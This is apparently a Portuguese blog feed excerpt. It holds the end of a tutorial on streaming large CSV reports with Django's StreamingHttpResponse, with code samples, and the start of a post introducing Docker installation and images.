&lt;p&gt;Em determinados cenários, precisamos retornar arquivos relativamente grandes para
o usuário. O exemplo acima, uma requisição com parâmetros que irão gerar um relatório
em &lt;em&gt;CSV&lt;/em&gt;, é um caso bem comum.&lt;/p&gt;
&lt;p&gt;O comportamento de resposta padrão do &lt;em&gt;Django&lt;/em&gt; é retornar uma instância de &lt;code class=&quot;language-text&quot;&gt;HttpResponse&lt;/code&gt;.
O problema é que nesse modo carregaremos o arquivo inteiro para a memória do
servidor, e só depois enviamos o arquivo para o cliente. Além de prejudicarmos o &lt;em&gt;Time To
First Byte&lt;/em&gt; (TTBT), podemos gerar picos de memória na máquina hospedeira (que podem afetar
demais requisições sendo processadas) e &lt;em&gt;timeouts&lt;/em&gt; de conexão.&lt;/p&gt;
&lt;p&gt;Um exemplo de como faríamos esse retorno através do &lt;code class=&quot;language-text&quot;&gt;HttpResponse&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; csv
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;http &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; HttpResponse
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;view &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; View


&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;CsvReportView&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;View&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;args&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;**&lt;/span&gt;kwargs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# Abstraindo a logica de filtro por parametros do request&lt;/span&gt;
        cargoes &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Cargoes&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;objects&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;filter_by_request_parms&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

        response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; HttpResponse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;content_type&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;text/csv&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        response&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Content-Disposition&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;attachment; filename=&quot;filtered_cargoes.csv&quot;&apos;&lt;/span&gt;

        writer &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; csv&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;writer&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;response&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; row &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; cargoes&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;values_list&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;id&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;commodity&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;weight&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            writer&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;writerow&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;row&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; response&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Se você tem certa intimidade com geradores, deve estar supondo que essa pode ser uma
maneira de solucionar esse problema... e você está certo!&lt;/p&gt;
&lt;h2&gt;Como funciona o StreamingHttpResponse?&lt;/h2&gt;
&lt;p&gt;O &lt;code class=&quot;language-text&quot;&gt;StreamingHttpResponse&lt;/code&gt; funciona com a ajuda do conceito de &lt;em&gt;generators&lt;/em&gt;. Achei
uma excelente definição no &lt;a href=&quot;http://stackoverflow.com/questions/1756096/understanding-generators-in-python&quot; title=&quot;Understanding Generators in Python&quot;&gt;&lt;em&gt;Stackoverflow&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) is simply a function which returns an object on which you can
call next, such that for every call it returns some value, until it raises
a StopIteration exception, signaling that all values have been generated.
Such an object is called an iterator.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://www.slideshare.net/ramalho/iteraveis-e-geradores-em-python&quot; title=&quot;Iteraveis e geradores em Python&quot;&gt;Leia mais sobre iteráveis e geradores&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Para tanto, o uso da palavra reservada &lt;code class=&quot;language-text&quot;&gt;yield&lt;/code&gt; se faz necessário. Logo, ao invés de termos o exemplo abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;my_view&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    message &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Hello, there!&apos;&lt;/span&gt;
    response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;  HttpResponse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;message&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    response&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Content-Length&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;message&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; response&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Teremos:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;hello&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;yield&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Hello,&apos;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;yield&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;there!&apos;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;my_view&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; StreamingHttpResponse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;hello&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://andrewbrookins.com/django/how-does-djangos-streaminghttpresponse-work-exactly/&quot; title=&quot;How does Django’s StreamingHttpResponse work, exactly&quot;&gt;Leia mais no excelente &quot;How does Django&apos;s StreamingHttpResponse work, exactly?&quot;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Voltando ao exemplo do &lt;em&gt;CSV&lt;/em&gt;, teremos:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; csv
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;db &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; models
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;http &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; StreamingHttpResponse
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;views&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;generic &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; View

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Echo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;
    Interface parecida com a que usamos para escrever arquivos.
    &quot;&quot;&quot;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; value&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; value


&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;CsvReportView&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;View&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;args&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;**&lt;/span&gt;kwargs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# Abstraindo a logica de filtro por parametros do request&lt;/span&gt;
        cargoes &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Cargoes&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;objects&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;filter_by_request_parms&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;token comment&quot;&gt;# Usamos a mesma interface de buffer utilizada para escrever&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# um arquivo. No entanto, apenas damos um `return value`&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# aos inves de persistirmos o valor&lt;/span&gt;
        pseudo_buffer &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Echo&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        writer &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; csv&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;writer&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pseudo_buffer&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;token comment&quot;&gt;# Construimos o nosso gerador&lt;/span&gt;
        gen_func &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;writer&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;writerow&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;row&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; row &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; cargos&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;values_list&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;id&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;commodity&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;weight&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

        response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; StreamingHttpResponse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;gen_func&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; content_type&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;text/csv&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        response&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Content-Disposition&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;attachment;filename=&quot;filtered_cargoes.csv&quot;&apos;&lt;/span&gt;

        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; response&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Antes mesmo de termos todo o &lt;em&gt;CSV&lt;/em&gt; montado, já estamos retornando dados ao usuário.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/1.11/howto/outputting-csv/#streaming-large-csv-files&quot; title=&quot;Leia mais na documentação do Django&quot;&gt;Veja o exemplo da documentação ofical do &lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;É a melhor maneira de resolver esse problema?&lt;/h2&gt;
&lt;p&gt;Caso a sua única opção seja retornar o dado através de uma &lt;em&gt;view&lt;/em&gt; &lt;em&gt;Django&lt;/em&gt;, sim. Além
de um uso mais eficiente de memória, o retorno do &lt;code class=&quot;language-text&quot;&gt;StreamingHttpResponse&lt;/code&gt;
vai impedir que, por exemplo, um &lt;em&gt;load balancer&lt;/em&gt; feche a conexão do seu usuário pelo
fato de o serviço &lt;em&gt;Django&lt;/em&gt; estar levando muito tempo para montar a resposta.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 610px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/4b7ece8243cfe756552c9dfb41282281/5aae9/biznis-cat.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 42.708333333333336%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAACKElEQVQoz2NgAAEmBmZORjZ+Fh4xBgFJFesQ0+h6j4YNNUuvda643NixIbtiVlDuBPOkVgHrcCYxVSYBGUZeKWZ5QwYWHUcmfhlmFl4GBg5jYbUEdedcr5S8gPKi8IbU2adzll5Jnnc+tXdHVMcGnZzpvFZhrEpmzDJ6LGrWbI7xDKx6bmwWQZyWQQzCio7iqjOtQ3ssgytMfGK9Mxzbt+u27FZt2aVas0k+b7GIVz6zhCqjkAIDpyjQmUzSugxMUqbM6i5s5hEMKjYeMmoVBnYlBvZxBnZxgTn6dRtESjdIVG/Xbd0hkjxV0C6RmVecgV2IgZGTiZGF18ibgVnTnVPPm9sokEHdJVJW+aSz+25Pvz6f+LbM1sTO9VETdibPO1U494CRd4qsvgu3nAGjoAIDAzubsKyQQwQDg4IFs5YTp7K5oKQ6AyP3NH2LCabWhrYR+rGNFhm91hn9XgUzXCJKFdXMeRWMOCW1GLnEgG5mldZlYudhYOaTZxRRY+STYuSXY+CWWqyiXK9uranhZO0YnV42Ja5uSWTrOtvEJh4hRU5RVQZRNUZOMUZWYSYWfgZGRqATRBg4xdk5RDU5Rdy5xc5qClbae/n4ZOblTs7r35m++HzZ7mch7Wu4ZYy4VKwZBBQZmXkZmTgZGdlAUWzNyp3BwdvHytHOwpHEIRAmICQnrcyu5SjikqUUVCEX0yQb3ynlmcMopsHII83AxMXIyApKF2AAANqtfDsY9XT+AAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;O Django com StreamingHttpResponse fica mais biznis (thelegomovie.wikia.com)&amp;quot;&quot;
        title=&quot;O Django com StreamingHttpResponse fica mais biznis (thelegomovie.wikia.com)&quot;
        src=&quot;/static/4b7ece8243cfe756552c9dfb41282281/5aae9/biznis-cat.png&quot;
        srcset=&quot;/static/4b7ece8243cfe756552c9dfb41282281/8514f/biznis-cat.png 192w,
/static/4b7ece8243cfe756552c9dfb41282281/804b2/biznis-cat.png 384w,
/static/4b7ece8243cfe756552c9dfb41282281/5aae9/biznis-cat.png 610w&quot;
        sizes=&quot;(max-width: 610px) 100vw, 610px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;O Django com StreamingHttpResponse fica mais biznis (thelegomovie.wikia.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Mas segundo a recomendação da &lt;a href=&quot;https://docs.djangoproject.com/en/1.11/ref/request-response/#django.http.StreamingHttpResponse&quot; title=&quot;Veja mais na documentação do Django&quot;&gt;própria documentação&lt;/a&gt;
do &lt;code class=&quot;language-text&quot;&gt;StreamingHttpResponse&lt;/code&gt;, já que essa é uma &quot;operação bloqueante&quot;,
o ideal seria realizá-la em um &lt;em&gt;background job&lt;/em&gt; (por exemplo) e deixar com que o
usuário acesse essa informação quando ela já estiver pronta.&lt;/p&gt;
&lt;p&gt;O &lt;code class=&quot;language-text&quot;&gt;django-report-builder&lt;/code&gt; entrega essa &lt;a href=&quot;https://django-report-builder.readthedocs.io/en/latest/quickstart/#asynchronous-report-generation&quot; title=&quot;Leia mais na documentação da biblioteca&quot;&gt;modalidade de &quot;asynchronous reports&quot;&lt;/a&gt;
através do &lt;a href=&quot;http://www.celeryproject.org/&quot; title=&quot;Celery: Distributed Task Queue&quot;&gt;&lt;em&gt;Celery&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;É fato que a &quot;mágica pesada&quot; fica no lado do &lt;a href=&quot;/tag/wsgi.html&quot; title=&quot;Leia mais sobre WSGI&quot;&gt;&lt;em&gt;WSGI&lt;/em&gt;&lt;/a&gt;, como você pode ver &lt;a href=&quot;https://andrewbrookins.com/django/how-does-djangos-streaminghttpresponse-work-exactly/#the-wsgi-server&quot; title=&quot;How does Django’s StreamingHttpResponse work, exactly?&quot;&gt;aqui&lt;/a&gt;.
O &lt;em&gt;Django&lt;/em&gt; &quot;faz o que pode&quot; quando o assunto é lidar com grandes volumes de dados. Mas
o ideal é sempre deixar essa carga de processamento fora do ciclo de vida da requisição do usuário.&lt;/p&gt;
&lt;p&gt;Mesmo assim, o &lt;code class=&quot;language-text&quot;&gt;StreamingHttpResponse&lt;/code&gt; vem como uma boa alternativa para resolver
alguns problemas de &lt;em&gt;views&lt;/em&gt; com tempos de resposta e consumo de recursos muito altos, podendo
ser a solução ideal para alguns relatórios que você emite em sua aplicação.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.aeguana.com/2015/12/12/csv-export-data-for-django-model/&quot;&gt;&lt;em&gt;Aeguana - How to export data as a CSV – Django model&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://andrewbrookins.com/django/how-does-djangos-streaminghttpresponse-work-exactly/&quot;&gt;&lt;em&gt;Andrew Brookins - How does Django&apos;s StreamingHttpResponse work, exactly?&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/1.11/ref/request-response/#streaminghttpresponse-objects&quot;&gt;&lt;em&gt;Django Documentation - StreamingHttpResponse&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.ericcarmichael.com/streaming-django-responses-on-heroku.html&quot;&gt;&lt;em&gt;nerdery - Streaming Django responses on Heroku&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.rodvdka.co.za/heroku/long-polling/h12/h18/django/2016/10/13/long-polling-heroku.html&quot;&gt;&lt;em&gt;rodvdka - Django long running report on Django&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/33208849/python-django-streaming-video-mp4-file-using-httpresponse&quot;&gt;&lt;em&gt;Stackoverflow - Streaming video/mp4 file using HttpResponse&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/1756096/understanding-generators-in-python&quot;&gt;&lt;em&gt;Stackoverflow - Understanding Generators in Python&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Uma ode ao Docker - Parte 2]]></title><description><![CDATA[No post anterior
falamos sobre o Docker, e arranhamos um pouco sobre a diferença entre
virtualização com Hypervisor e Container. Nesse post…]]></description><link>https://klauslaube.com.br/2017/05/01/uma-ode-ao-docker-parte-2.html</link><guid isPermaLink="false">https://klauslaube.com.br/2017/05/01/uma-ode-ao-docker-parte-2.html</guid><pubDate>Mon, 01 May 2017 22:25:00 GMT</pubDate><content:encoded>&lt;p&gt;No &lt;a href=&quot;/2017/01/14/uma-ode-ao-docker-parte-1.html&quot; title=&quot;Uma ode ao Docker - Parte 1&quot;&gt;&lt;em&gt;post&lt;/em&gt; anterior&lt;/a&gt;
falamos sobre o &lt;em&gt;Docker&lt;/em&gt;, e arranhamos um pouco sobre a diferença entre
virtualização com &lt;em&gt;Hypervisor&lt;/em&gt; e &lt;em&gt;Container&lt;/em&gt;. Nesse &lt;em&gt;post&lt;/em&gt;,
vamos explorar um pouquinho mais alguns conceitos, mostrando como funciona essa
ferramenta que é sensação quando o assunto é &lt;em&gt;virtual machines&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Mas antes, vamos relembrar o que é o &lt;em&gt;Docker&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Docker is an open platform for building, shipping and running distributed
applications. It gives programmers, development teams, and operations engineers
the common toolbox they need to take advantage of the distributed and networked
nature of modern applications.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Em uma linguagem mais simples, &lt;em&gt;Docker&lt;/em&gt; lhe dá a habilidade de executar
aplicações dentro de um ambiente controlado, conhecido como &lt;em&gt;Container&lt;/em&gt;.
&lt;em&gt;Containers&lt;/em&gt; são similares às tradicionais máquinas virtuais, contudo, eles
compartilham o mesmo sistema operacional e provém um conjunto de comandos
que permitem a execução e controle da sua aplicação ou processo.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=pGYAg7TMmp0&quot; title=&quot;Docker Tutorial - What is Docker &amp;#x26; Docker Containers, Images, etc?&quot;&gt;Veja a diferença entre &lt;em&gt;Vagrant&lt;/em&gt; e &lt;em&gt;Docker&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Instalando&lt;/h2&gt;
&lt;p&gt;Talvez você se depare com alguns artigos na &lt;em&gt;Internet&lt;/em&gt;, que ao falar sobre a
instalação do &lt;em&gt;Docker&lt;/em&gt;, também mencionem &lt;strong&gt;boot2docker&lt;/strong&gt; ou a necessidade do
&lt;strong&gt;docker-machine&lt;/strong&gt;. Houve um tempo onde utilizar &lt;em&gt;Docker&lt;/em&gt; em máquinas
&lt;em&gt;Windows&lt;/em&gt; ou &lt;em&gt;OSX&lt;/em&gt; não era tão trivial assim... mas esse tempo ficou para trás.&lt;/p&gt;
&lt;p&gt;Hoje, basta acessar a &lt;a href=&quot;https://www.docker.com/community-edition#/download&quot; title=&quot;Baixe o Docker Community Edition&quot;&gt;página de &lt;em&gt;download&lt;/em&gt;&lt;/a&gt;,
selecionar o seu sistema operacional, e seguir o passo a passo
(que geralmente consiste em uma série de &quot;next-next-finish&quot;).&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.docker.com/docker-for-mac/docker-toolbox/&quot; title=&quot;Docker for Mac vs. Docker Toolbox&quot;&gt;Entenda a diferença entre o Docker Toolbox e Docker for Mac&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Uma vez instalado, através do terminal execute o seguinte comando:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ docker images

REPOSITORY   TAG   IMAGE  ID   CREATED   SIZE&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Esse é o momento ideal para falarmos de outro conceito muito importante dentro
do &lt;em&gt;Docker&lt;/em&gt;: &lt;strong&gt;Images&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Imagens&lt;/h2&gt;
&lt;p&gt;Segundo a documentação oficial:&lt;/p&gt;
&lt;blockquote&gt;
